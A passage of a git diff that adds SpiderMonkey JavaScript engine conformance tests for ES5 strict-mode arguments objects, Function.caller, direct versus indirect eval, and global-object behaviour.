+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-caller.js';
+var BUGNUMBER = 514581;
+var summary = "Function.prototype.caller should throw a TypeError for " +
+ "strict-mode functions";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// behavior
+
+function expectTypeError(fun)
+{
+ try
+ {
+ fun();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError calling function" +
+ ("name" in fun ? " " + fun.name : "") + ", instead got: " + e);
+ }
+}
+
+function bar() { "use strict"; }
+expectTypeError(function barCaller() { bar.caller; });
+
+function baz() { "use strict"; return 17; }
+expectTypeError(function bazCaller() { baz.caller; });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/redefine-arguments-length.js b/js/src/tests/ecma_5/Function/redefine-arguments-length.js
new file mode 100644
index 000000000..ad9ae742f
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/redefine-arguments-length.js
@@ -0,0 +1,65 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'redefine-arguments-length.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 539766;
+var summary =
+ "Object.defineProperty sets arguments.length without setting the " +
+ "length-overridden bit";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test_JSOP_ARGCNT()
+{
+ var length = "length";
+ Object.defineProperty(arguments, length, { value: 17 });
+ assertEq(arguments.length, 17);
+ assertEq(arguments[length], 17);
+}
+test_JSOP_ARGCNT();
+
+function test_js_fun_apply()
+{
+ var length = "length";
+ Object.defineProperty(arguments, length, { value: 17 });
+
+ function fun()
+ {
+ assertEq(arguments.length, 17);
+ assertEq(arguments[length], 17);
+ assertEq(arguments[0], "foo");
+ for (var i = 1; i < 17; i++)
+ assertEq(arguments[i], undefined);
+ }
+ fun.apply(null, arguments);
+}
+test_js_fun_apply("foo");
+
+function test_array_toString_sub_1()
+{
+ Object.defineProperty(arguments, "length", { value: 1 });
+ arguments.join = [].join;
+ assertEq([].toString.call(arguments), "1");
+}
+test_array_toString_sub_1(1, 2);
+
+function test_array_toString_sub_2()
+{
+ Object.defineProperty(arguments, "length", { value: 1 });
+ assertEq([].toLocaleString.call(arguments), "1");
+}
+test_array_toString_sub_2(1, 2);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/shell.js b/js/src/tests/ecma_5/Function/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/shell.js
diff --git a/js/src/tests/ecma_5/Function/strict-arguments.js b/js/src/tests/ecma_5/Function/strict-arguments.js
new file mode 100644
index 000000000..fce5f756c
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/strict-arguments.js
@@ -0,0 +1,453 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'strict-arguments.js';
+var BUGNUMBER = 516255;
+var summary =
+ "ES5 strict mode: arguments objects of strict mode functions must copy " +
+ "argument values";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function arrayEvery(arr, fun)
+{
+ return Array.prototype.every.call(arr, fun);
+}
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ arrayEvery(a1, function(v, i) { return v === a2[i]; });
+}
+
+
+/************************
+ * NON-STRICT ARGUMENTS *
+ ************************/
+
+var obj = {};
+
+function noargs() { return arguments; }
+
+assertEq(arraysEqual(noargs(), []), true);
+assertEq(arraysEqual(noargs(1), [1]), true);
+assertEq(arraysEqual(noargs(2, obj, 8), [2, obj, 8]), true);
+
+function args(a) { return arguments; }
+
+assertEq(arraysEqual(args(), []), true);
+assertEq(arraysEqual(args(1), [1]), true);
+assertEq(arraysEqual(args(1, obj), [1, obj]), true);
+assertEq(arraysEqual(args("foopy"), ["foopy"]), true);
+
+function assign(a)
+{
+ a = 17;
+ return arguments;
+}
+
+assertEq(arraysEqual(assign(1), [17]), true);
+
+function getLaterAssign(a)
+{
+ var o = arguments;
+ a = 17;
+ return o;
+}
+
+assertEq(arraysEqual(getLaterAssign(1), [17]), true);
+
+function assignElementGetParameter(a)
+{
+ arguments[0] = 17;
+ return a;
+}
+
+assertEq(assignElementGetParameter(42), 17);
+
+function assignParameterGetElement(a)
+{
+ a = 17;
+ return arguments[0];
+}
+
+assertEq(assignParameterGetElement(42), 17);
+
+function assignArgSub(x, y)
+{
+ arguments[0] = 3;
+ return arguments[0];
+}
+
+assertEq(assignArgSub(1), 3);
+
+function assignArgSubParamUse(x, y)
+{
+ arguments[0] = 3;
+ assertEq(x, 3);
+ return arguments[0];
+}
+
+assertEq(assignArgSubParamUse(1), 3);
+
+function assignArgumentsElement(x, y)
+{
+ arguments[0] = 3;
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(assignArgumentsElement(1), 3);
+
+function assignArgumentsElementParamUse(x, y)
+{
+ arguments[0] = 3;
+ assertEq(x, 3);
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(assignArgumentsElementParamUse(1), 3);
+
+/********************
+ * STRICT ARGUMENTS *
+ ********************/
+
+function strictNoargs()
+{
+ "use strict";
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNoargs(), []), true);
+assertEq(arraysEqual(strictNoargs(1), [1]), true);
+assertEq(arraysEqual(strictNoargs(1, obj), [1, obj]), true);
+
+function strictArgs(a)
+{
+ "use strict";
+ return arguments;
+}
+
+assertEq(arraysEqual(strictArgs(), []), true);
+assertEq(arraysEqual(strictArgs(1), [1]), true);
+assertEq(arraysEqual(strictArgs(1, obj), [1, obj]), true);
+
+function strictAssign(a)
+{
+ "use strict";
+ a = 17;
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssign(), []), true);
+assertEq(arraysEqual(strictAssign(1), [1]), true);
+assertEq(arraysEqual(strictAssign(1, obj), [1, obj]), true);
+
+var upper;
+function strictAssignAfter(a)
+{
+ "use strict";
+ upper = arguments;
+ a = 42;
+ return upper;
+}
+
+assertEq(arraysEqual(strictAssignAfter(), []), true);
+assertEq(arraysEqual(strictAssignAfter(17), [17]), true);
+assertEq(arraysEqual(strictAssignAfter(obj), [obj]), true);
+
+function strictMaybeAssignOuterParam(p)
+{
+ "use strict";
+ function inner() { p = 17; }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictMaybeAssignOuterParam(), []), true);
+assertEq(arraysEqual(strictMaybeAssignOuterParam(42), [42]), true);
+assertEq(arraysEqual(strictMaybeAssignOuterParam(obj), [obj]), true);
+
+function strictAssignOuterParam(p)
+{
+ "use strict";
+ function inner() { p = 17; }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssignOuterParam(), []), true);
+assertEq(arraysEqual(strictAssignOuterParam(17), [17]), true);
+assertEq(arraysEqual(strictAssignOuterParam(obj), [obj]), true);
+
+function strictAssignOuterParamPSYCH(p)
+{
+ "use strict";
+ function inner(p) { p = 17; }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(), []), true);
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(17), [17]), true);
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(obj), [obj]), true);
+
+function strictEval(code, p)
+{
+ "use strict";
+ eval(code);
+ return arguments;
+}
+
+assertEq(arraysEqual(strictEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictEval("arguments[0] = 17"), [17]), true);
+assertEq(arraysEqual(strictEval("arguments[0] = 17", 42), [17, 42]), true);
+
+function strictMaybeNestedEval(code, p)
+{
+ "use strict";
+ function inner() { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictMaybeNestedEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("p = 2", 17), ["p = 2", 17]), true);
+
+function strictNestedEval(code, p)
+{
+ "use strict";
+ function inner() { eval(code); }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictAssignArguments(a)
+{
+ "use strict";
+ arguments[0] = 42;
+ return a;
+}
+
+assertEq(strictAssignArguments(), undefined);
+assertEq(strictAssignArguments(obj), obj);
+assertEq(strictAssignArguments(17), 17);
+
+function strictAssignParameterGetElement(a)
+{
+ "use strict";
+ a = 17;
+ return arguments[0];
+}
+
+assertEq(strictAssignParameterGetElement(42), 42);
+
+function strictAssignArgSub(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ return arguments[0];
+}
+
+assertEq(strictAssignArgSub(1), 3);
+
+function strictAssignArgSubParamUse(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ assertEq(x, 1);
+ return arguments[0];
+}
+
+assertEq(strictAssignArgSubParamUse(1), 3);
+
+function strictAssignArgumentsElement(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(strictAssignArgumentsElement(1), 3);
+
+function strictAssignArgumentsElementParamUse(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ assertEq(x, 1);
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(strictAssignArgumentsElementParamUse(1), 3);
+
+function strictNestedAssignShadowVar(p)
+{
+ "use strict";
+ function inner()
+ {
+ var p = 12;
+ function innermost() { p = 1776; return 12; }
+ return innermost();
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowVar(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(obj), [obj]), true);
+
+function strictNestedAssignShadowCatch(p)
+{
+ "use strict";
+ function inner()
+ {
+ try
+ {
+ }
+ catch (p)
+ {
+ var f = function innermost() { p = 1776; return 12; };
+ f();
+ }
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowCatch(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(obj), [obj]), true);
+
+function strictNestedAssignShadowCatchCall(p)
+{
+ "use strict";
+ function inner()
+ {
+ try
+ {
+ }
+ catch (p)
+ {
+ var f = function innermost() { p = 1776; return 12; };
+ f();
+ }
+ }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(obj), [obj]), true);
+
+function strictNestedAssignShadowFunction(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { }
+ p = 1776;
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunction(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunction(obj), [obj]), true);
+
+function strictNestedAssignShadowFunctionCall(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { }
+ p = 1776;
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionCall(obj), [obj]), true);
+
+function strictNestedShadowAndMaybeEval(code, p)
+{
+ "use strict";
+ function inner(p) { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedShadowAndMaybeEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictNestedShadowAndEval(code, p)
+{
+ "use strict";
+ function inner(p) { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedShadowAndEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedShadowAndEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictEvalContainsMutation(code)
+{
+ "use strict";
+ return eval(code);
+}
+
+assertEq(arraysEqual(strictEvalContainsMutation("code = 17; arguments"), ["code = 17; arguments"]), true);
+assertEq(arraysEqual(strictEvalContainsMutation("arguments[0] = 17; arguments"), [17]), true);
+assertEq(strictEvalContainsMutation("arguments[0] = 17; code"), "arguments[0] = 17; code");
+
+function strictNestedAssignShadowFunctionName(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { p = 1776; }
+ p();
+ }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowFunctionName(obj), [obj]), true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/adding-global-var-nonextensible-error.js b/js/src/tests/ecma_5/Global/adding-global-var-nonextensible-error.js
new file mode 100644
index 000000000..bacabd696
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/adding-global-var-nonextensible-error.js
@@ -0,0 +1,36 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 621432;
+var summary =
+ "If a var statement can't create a global property because the global " +
+ "object isn't extensible, and an error is thrown while decompiling the " +
+ "global, don't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var toSource = [];
+Object.preventExtensions(this);
+
+try
+{
+ eval("var x;");
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ reportCompare(e instanceof TypeError, true, "expected TypeError, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/browser.js b/js/src/tests/ecma_5/Global/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/browser.js
diff --git a/js/src/tests/ecma_5/Global/bug-320887.js b/js/src/tests/ecma_5/Global/bug-320887.js
new file mode 100644
index 000000000..5e8d3445a
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/bug-320887.js
@@ -0,0 +1,15 @@
+// `var x` should not call the getter of an existing global property.
+
+var hit = 0;
+Object.defineProperty(this, "x", {
+ get: function () { return ++hit; },
+ configurable: true
+});
+eval("var x;");
+assertEq(hit, 0);
+
+// The declaration should not have redefined the global x, either.
+assertEq(x, 1);
+assertEq(x, 2);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_5/Global/bug660612.js b/js/src/tests/ecma_5/Global/bug660612.js
new file mode 100644
index 000000000..71589f53d
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/bug660612.js
@@ -0,0 +1,7 @@
+try {
+ decodeURIComponent('%ED%A0%80');
+ assertEq(true, false, "expected an URIError");
+} catch (e) {
+ assertEq(e instanceof URIError, true);
+ reportCompare(true,true);
+}
diff --git a/js/src/tests/ecma_5/Global/cross-global-implicit-this.js b/js/src/tests/ecma_5/Global/cross-global-implicit-this.js
new file mode 100644
index 000000000..90c6e8a95
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/cross-global-implicit-this.js
@@ -0,0 +1,84 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 671947;
+var summary = "Unqualified function invocation uses the global object of the called property as |this|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+this.name = "o";
+
+function f() {
+ return this ? this.name : "t";
+}
+function g() {
+ "use strict";
+ return this ? this.name : "u";
+}
+function h() {
+ return this ? this.name : "v";
+}
+
+var sb = newGlobal();
+sb.parent = this;
+sb.name = "i";
+sb.f = f;
+sb.g = g;
+
+sb.evaluate(
+ '\n' +
+ ' this.a = { name: "a", f: f, g: g };\n' +
+ ' this.b = { name: "b", f: f, g: g };\n' +
+ ' Object.defineProperty(this, "h", { get: (function(){ return parent.h; })});\n' +
+ ' Object.defineProperty(a, "h", { get: (function(){ return parent.h; })});\n' +
+ ' Object.defineProperty(b, "h", { get: (function(){ return parent.h; })});\n' +
+ '');
+
+
+// Three of the first four cases pass undefined (promoted inside the callee to
+// the callee's global object). a.f() is the one exception, which passes the
+// base, a, as the this object.
+assertEq(sb.evaluate('(function(){return f();})();'), "o");
+assertEq(sb.evaluate('(function(){return (1,f)();})();'), "o");
+assertEq(sb.evaluate('(function(){return a.f();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("f()");})();'), "o");
+
+// Same cases as above, but wrapped in a with. The first and last of these cases
+// pass b, the object scoped by the with, as the this value. a.f() still passes
+// the explicit base, a. (1,f)() is a little tricksier - this passes undefined
+// (promoted to the callee global object) since the comma operator calls
+// GetValue on the reference (see ES5 11.14.).
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return f();})(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return (1,f)();})(); }})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return a.f();})(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("f()");})(); }})();'), "b");
+
+// Same tests as above, but with a strict callee. We expect the same results,
+// except undefined this is not replaced with the global object.
+assertEq(sb.evaluate('(function(){return g();})();'), "u");
+assertEq(sb.evaluate('(function(){return (1,g)();})();'), "u");
+assertEq(sb.evaluate('(function(){return a.g();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("g()");})();'), "u");
+assertEq(sb.evaluate('(function(){with(b){ return g(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (1,g)(); }})();'), "u");
+assertEq(sb.evaluate('(function(){with(b){ return a.g(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("g()");})(); }})();'), "b");
+
+/* Same as the first set, but h is a getter property. */
+assertEq(sb.evaluate('(function(){return h();})();'), "o");
+assertEq(sb.evaluate('(function(){return (1,h)();})();'), "o");
+assertEq(sb.evaluate('(function(){return a.h();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("h()");})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return h(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (1,h)(); }})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return a.h(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("h()");})(); }})();'), "b");
+
+if (typeof reportCompare === "function");
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Global/decodeURI-decodes-FFFE-FFFF.js b/js/src/tests/ecma_5/Global/decodeURI-decodes-FFFE-FFFF.js
new file mode 100644
index 000000000..28f3019cd
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/decodeURI-decodes-FFFE-FFFF.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520095;
+var summary =
+ "decodeURI{,Component} should return the specified character for " +
+ "'%EF%BF%BE' and '%EF%BF%BF', not return U+FFFD";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(decodeURI("%EF%BF%BE"), "\uFFFE");
+assertEq(decodeURI("%EF%BF%BF"), "\uFFFF");
+assertEq(decodeURIComponent("%EF%BF%BE"), "\uFFFE");
+assertEq(decodeURIComponent("%EF%BF%BF"), "\uFFFF");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/delete-global-NaN-property.js b/js/src/tests/ecma_5/Global/delete-global-NaN-property.js
new file mode 100644
index 000000000..6bce5c26d
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/delete-global-NaN-property.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict"
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 649570;
+var summary = "|delete window.NaN| should throw a TypeError";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = this, v = false;
+try
+{
+ delete this.NaN;
+ throw new Error("no exception thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "Expected a TypeError, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Global/direct-eval-but-not.js b/js/src/tests/ecma_5/Global/direct-eval-but-not.js
new file mode 100644
index 000000000..a34192b37
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/direct-eval-but-not.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 609256;
+var summary =
+ "Don't crash doing a direct eval when eval doesn't resolve to an object " +
+ "(let alone the original eval function)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var eval = "";
+try
+{
+ eval();
+ throw new Error("didn't throw?");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/eval-01.js b/js/src/tests/ecma_5/Global/eval-01.js
new file mode 100644
index 000000000..50bb95ffd
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/eval-01.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = 9;
+var global = this;
+
+function test() {
+ var a = 0;
+
+ // direct eval sees local a
+ assertEq(eval('a+1'), 1);
+ assertEq(eval('eval("a+1")'), 1);
+
+ // indirect: using a name other than 'eval'
+ var foo = eval;
+ assertEq(foo('a+1'), 10);
+ assertEq(eval('foo("a+1")'), 10); // outer eval is direct, inner foo("a+1") is indirect
+
+ // indirect: qualified method call
+ assertEq(this.eval("a+1"), 10);
+ assertEq(global.eval("a+1"), 10);
+ var obj = {foo: eval, eval: eval};
+ assertEq(obj.foo('a+1'), 10);
+ assertEq(obj.eval('a+1'), 10);
+ var name = "eval";
+ assertEq(obj[name]('a+1'), 10);
+ assertEq([eval][0]('a+1'), 10);
+
+ // indirect: not called from a CallExpression at all
+ assertEq(eval.call(undefined, 'a+1'), 10);
+ assertEq(eval.call(global, 'a+1'), 10);
+ assertEq(eval.apply(undefined, ['a+1']), 10);
+ assertEq(eval.apply(global, ['a+1']), 10);
+ assertEq(['a+1'].map(eval)[0], 10);
+}
+
+test();
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_5/Global/eval-02.js b/js/src/tests/ecma_5/Global/eval-02.js
new file mode 100644
index 000000000..e1a315949
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/eval-02.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = 9;
+
+function directArg(eval, s) {
+ var a = 1;
+ return eval(s);
+}
+
+function directVar(f, s) {
+ var eval = f;
+ var a = 1;
+ return eval(s);
+}
+
+function directWith(obj, s) {
+ var f;
+ with (obj) {
+ f = function () {
+ var a = 1;
+ return eval(s);
+ };
+ }
+ return f();
+}
+
+// direct eval, even though 'eval' is an argument
+assertEq(directArg(eval, 'a+1'), 2);
+
+// direct eval, even though 'eval' is a var
+assertEq(directVar(eval, 'a+1'), 2);
+
+// direct eval, even though 'eval' is found via a with block
+assertEq(directWith(this, 'a+1'), 2);
+assertEq(directWith({eval: eval, a: -1000}, 'a+1'), 2);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_5/Global/eval-in-strict-eval-in-normal-function.js b/js/src/tests/ecma_5/Global/eval-in-strict-eval-in-normal-function.js
new file mode 100644
index 000000000..00d76652d
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/eval-in-strict-eval-in-normal-function.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 620130;
+var summary =
+ "Calls to eval with same code + varying strict mode of script containing " +
+ "eval == fail";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code) { return eval(code); }
+
+assertEq(t("'use strict'; try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ "threw");
+assertEq(t("try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ 17);
+assertEq(t("'use strict'; try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ "threw");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/eval-inside-with-is-direct.js b/js/src/tests/ecma_5/Global/eval-inside-with-is-direct.js
new file mode 100644
index 000000000..d5d66483e
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/eval-inside-with-is-direct.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 601307;
+var summary = "with (...) eval(...) is a direct eval";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var t = "global";
+function test()
+{
+ var t = "local";
+ with ({})
+ return eval("t");
+}
+assertEq(test(), "local");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/eval-native-callback-is-indirect.js b/js/src/tests/ecma_5/Global/eval-native-callback-is-indirect.js
new file mode 100644
index 000000000..bfc4a3489
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/eval-native-callback-is-indirect.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604504;
+var summary = "eval called from a native function is indirect";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+
+var global = this;
+var directCheckCode = "this === global";
+
+function testBound()
+{
+ var global = "psych!";
+ var eval = originalEval.bind(undefined, directCheckCode);
+ assertEq(eval(), true);
+}
+testBound();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/parenthesized-eval-is-direct.js b/js/src/tests/ecma_5/Global/parenthesized-eval-is-direct.js
new file mode 100644
index 000000000..415412865
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/parenthesized-eval-is-direct.js
